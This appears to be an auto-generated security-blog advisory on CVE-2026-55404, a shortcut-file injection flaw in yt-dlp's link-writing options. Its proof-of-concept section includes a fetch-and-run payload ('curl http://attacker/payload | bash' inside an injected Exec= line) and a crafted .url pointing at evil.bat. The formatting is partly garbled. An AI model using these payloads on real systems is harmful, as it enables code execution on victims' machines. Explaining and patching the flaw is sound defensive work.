Listen to this Post
How CVE-2026-55404 Works
yt-dlp and youtube-dl are popular command-line tools for downloading audio and video from thousands of websites. Among their many features are the options --write-link, --write-url-link, and --write-desktop-link, which instruct the tool to create shortcut files (.url on Windows, `.desktop` on Linux, and `.webloc` on macOS) that point to the downloaded media’s original webpage or local file.
Prior to version 2026.7.4, these options blindly trusted the `webpage_url` and filename metadata provided by the remote server or extracted from the media page. An attacker controlling a malicious website could craft a video page where the `webpage_url` or suggested filename contains special characters or sequences that are not properly sanitized before being written into the shortcut file.
On Windows, a `.url` file is an INI‑style text file that can contain a `file://` URI under the `
` section. By injecting a `file://` URI that points to a malicious executable or script (e.g., <code>file://C:/Users/Public/evil.bat</code>), an attacker can trick the user into executing arbitrary code when they double‑click the downloaded shortcut. On Linux, a `.desktop` file (freedesktop.org desktop entry) uses a key‑value format. The `Exec` key defines the command to run. By inserting newline characters (<code>\n</code>) into the metadata, an attacker can inject additional keys into the desktop entry, including a rogue `Exec=` line that executes a shell command. When the user opens the downloaded `.desktop` file (e.g., via a file manager), the injected command runs with the user's privileges. This vulnerability bypasses the previous mitigation applied for CVE‑2024‑38519, which had explicitly allowed <code>.desktop</code>, <code>.url</code>, and `.webloc` extensions to preserve the functionality of these link‑writing options. The fix in version 2026.7.4 introduces proper validation and escaping for all metadata used in shortcut file generation, neutralizing both the `file://` URI injection on Windows and the newline‑based key injection on Linux. <h2 style="color: blue;">DailyCVE Form</h2> <h2 style="color: blue;">| Field | Value |</h2> <h2 style="color: blue;">|-|-|</h2> <h2 style="color: blue;">| Platform | yt‑dlp / youtube‑dlp |</h2> <h2 style="color: blue;">| Version | < 2026.7.4 |</h2> <h2 style="color: blue;">| Vulnerability | Shortcut file injection |</h2> <h2 style="color: blue;">| Severity | Medium (CVSS 5.5) |</h2> <h2 style="color: blue;">| Date | 2026‑07‑08 |</h2> <h2 style="color: blue;">| Prediction | Patch: 2026‑07‑04 |</h2> <h2 style="color: blue;">What Undercode Say: Analytics</h2> [bash] Check installed yt-dlp version yt-dlp --version List available link-writing options yt-dlp --help | grep -E 'write-(link|url-link|desktop-link)' Simulate a malicious webpage_url injection (Windows .url file) echo "[bash] URL=file://C:/Users/Public/evil.bat" > malicious.url Simulate a malicious .desktop injection (Linux) echo "[Desktop Entry] Type=Application Name=malicious Exec=echo 'Injected command' > /tmp/pwned " > malicious.desktop Verify that the vulnerable version writes unsanitized metadata yt-dlp --write-link --output "test" https://attacker.com/malicious_video cat test.url On Windows, or test.desktop on Linux
Detection script – check if your version is vulnerable:
if [[ "$(yt-dlp --version 2>/dev/null)" < "2026.7.4" ]]; then echo "Vulnerable to CVE-2026-55404" else echo "Patched" fi
How Exploit: Proof‑of‑Concept
- Attacker setup – Host a video page where the `webpage_url` metadata contains:
– On Windows: `file://C:/Users/Public/evil.bat`
– On Linux: `[Desktop Entry]\nExec=xterm -e “curl http://attacker/payload | bash”\n`
2. Victim action – The victim runs:
yt-dlp --write-link https://attacker.com/video
The tool creates a `.url` or `.desktop` file in the current directory with the attacker‑controlled metadata.
3. Execution – When the victim double‑clicks the shortcut (or opens it via a file manager), the injected URI or desktop entry key triggers the malicious command, leading to arbitrary code execution under the victim’s user context.
Protection from CVE-2026-55404
- Upgrade to yt‑dlp version 2026.7.4 or later:
pip install --upgrade yt-dlp
or download the latest release from the official repository.
- Avoid using
--write-link,--write-url-link, or `–write-desktop-link` with untrusted sources until the upgrade is applied. - Configure file associations to open `.url` and `.desktop` files with a text editor instead of executing them automatically (not recommended as a permanent solution).
- Apply system‑level restrictions: on Linux, use `noexec` mounts for download directories; on Windows, enforce Software Restriction Policies or AppLocker to block execution from untrusted paths.
Impact
- Confidentiality – An attacker could read local files by crafting a `file://` URI that points to sensitive documents (e.g.,
file://C:/Users/User/secret.txt), though this requires the victim to open the shortcut. - Integrity – Malicious commands can modify, delete, or encrypt files on the system.
- Availability – The injected commands could render the system unusable (e.g., by deleting critical files or installing ransomware).
- Privilege Escalation – Since the shortcut runs with the user’s privileges, any command executed inherits the same permissions, potentially allowing lateral movement or further exploitation if the user has elevated rights.
- Widespread Risk – yt‑dlp and youtube‑dl are used by millions of users worldwide; the vulnerability affects both Windows and Linux platforms, making it a cross‑platform threat with a broad attack surface.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
